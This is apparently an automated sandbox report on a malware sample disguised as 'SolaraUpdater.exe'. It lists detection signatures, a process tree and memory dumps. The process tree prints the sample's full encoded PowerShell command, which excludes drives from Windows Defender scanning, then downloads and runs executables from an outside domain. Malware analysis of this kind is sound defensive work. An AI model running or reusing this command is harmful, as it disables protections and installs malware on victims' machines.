Analysis
- max time kernel
48s - max time network
58s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 08:04
General
- Target SolaraUpdater.exe
- Size 4.7MB
- Sample240613-jyedksthpp
- SHA256 841f58be56dc3b74ffd29221c50e4571802f86e62d5ceae9a77c966dd4966c25
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- VMProtect packed file 2 IoCs
Detects executables packed with VMProtect commercial packer.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SolaraUpdater.exe"C:\Users\Admin\AppData\Local\Temp\SolaraUpdater.exe"1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwB6AGMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdABmAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYwBhAG0AIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHIAYgBIAHkAcABlAHIAcwB1AHIAcgBvAGcAYQB0AGUAcwBhAHYAZQBzAEQAaABjAHAALgBlAHgAZQAnACwAIAA8ACMAaABuAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG0AcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwByAGIASAB5AHAAZQByAHMAdQByAHIAbwBnAGEAdABlAHMAYQB2AGUAcwBEAGgAYwBwAC4AZQB4AGUAJwApACkAPAAjAG0AaAB0ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcALAAgADwAIwB0AGIAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAYwB6ACMAPgAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwBpAGMAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcAKQApADwAIwBsAGsAZwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAHIAZQBhAGQAaQBuAGcAMgAwADIANAAuAG4AZQB0AC8AbQAvAGMAbwBuAGgAbwBzAHQAcwBnAG0ALgBlAHgAZQAnACwAIAA8ACMAaABkAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBzAGMAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBnAHYAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBjAG8AbgBoAG8AcwB0AHMAZwBtAC4AZQB4AGUAJwApACkAPAAjAGsAeQBhACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAC8AVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACwAIAA8ACMAbgBhAHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAHQAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB0AGcAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQApADwAIwBuAGMAawAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGwAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgBjAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcgBiAEgAeQBwAGUAcgBzAHUAcgByAG8AZwBhAHQAZQBzAGEAdgBlAHMARABoAGMAcAAuAGUAeABlACcAKQA8ACMAdABhAHUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQByAGcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwBrAGMAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcAKQA8ACMAcQBwAHYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBuAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBnAG0ALgBlAHgAZQAnACkAPAAjAHAAYwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAbAB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBtAG4AYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQA8ACMAawBjAGcAIwA+AA=="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_qa4ifpy2.woy.ps1
memory/932-1-0x0000000000D30000-0x0000000000D31000-memory.dmp
memory/932-0-0x0000000000D20000-0x0000000000D21000-memory.dmp
memory/932-4-0x0000000000400000-0x0000000000B83000-memory.dmp
memory/932-6-0x0000000000404000-0x00000000006CE000-memory.dmp
memory/932-5-0x0000000000400000-0x0000000000B83000-memory.dmp
memory/932-3-0x0000000000404000-0x00000000006CE000-memory.dmp
memory/2200-38-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-42-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-10-0x0000000004E00000-0x0000000005428000-memory.dmp
memory/2200-11-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-12-0x0000000004D70000-0x0000000004D92000-memory.dmp
memory/2200-14-0x00000000056D0000-0x0000000005736000-memory.dmp
memory/2200-13-0x0000000005660000-0x00000000056C6000-memory.dmp
memory/2200-8-0x0000000004770000-0x00000000047A6000-memory.dmp
memory/2200-24-0x0000000005840000-0x0000000005B94000-memory.dmp
memory/2200-25-0x0000000005D10000-0x0000000005D2E000-memory.dmp
memory/2200-26-0x0000000005D50000-0x0000000005D9C000-memory.dmp
memory/2200-27-0x0000000006EA0000-0x0000000006ED2000-memory.dmp
memory/2200-28-0x0000000070960000-0x00000000709AC000-memory.dmp
memory/2200-7-0x0000000074B4E000-0x0000000074B4F000-memory.dmp
memory/2200-39-0x0000000006EE0000-0x0000000006EFE000-memory.dmp
memory/2200-40-0x0000000006F10000-0x0000000006FB3000-memory.dmp
memory/2200-41-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-9-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-43-0x00000000076A0000-0x0000000007D1A000-memory.dmp
memory/2200-44-0x0000000007050000-0x000000000706A000-memory.dmp
memory/2200-45-0x00000000070C0000-0x00000000070CA000-memory.dmp
memory/2200-46-0x0000000007310000-0x00000000073A6000-memory.dmp
memory/2200-47-0x0000000007240000-0x0000000007251000-memory.dmp
memory/2200-48-0x0000000007280000-0x000000000728E000-memory.dmp
memory/2200-49-0x0000000007290000-0x00000000072A4000-memory.dmp
memory/2200-50-0x00000000072D0000-0x00000000072EA000-memory.dmp
memory/2200-51-0x00000000072C0000-0x00000000072C8000-memory.dmp
memory/2200-52-0x00000000073E0000-0x0000000007402000-memory.dmp
memory/2200-53-0x00000000082D0000-0x0000000008874000-memory.dmp
memory/2200-54-0x0000000074B4E000-0x0000000074B4F000-memory.dmp
memory/2200-55-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-57-0x0000000074B40000-0x00000000752F0000-memory.dmp
memory/2200-60-0x0000000074B40000-0x00000000752F0000-memory.dmp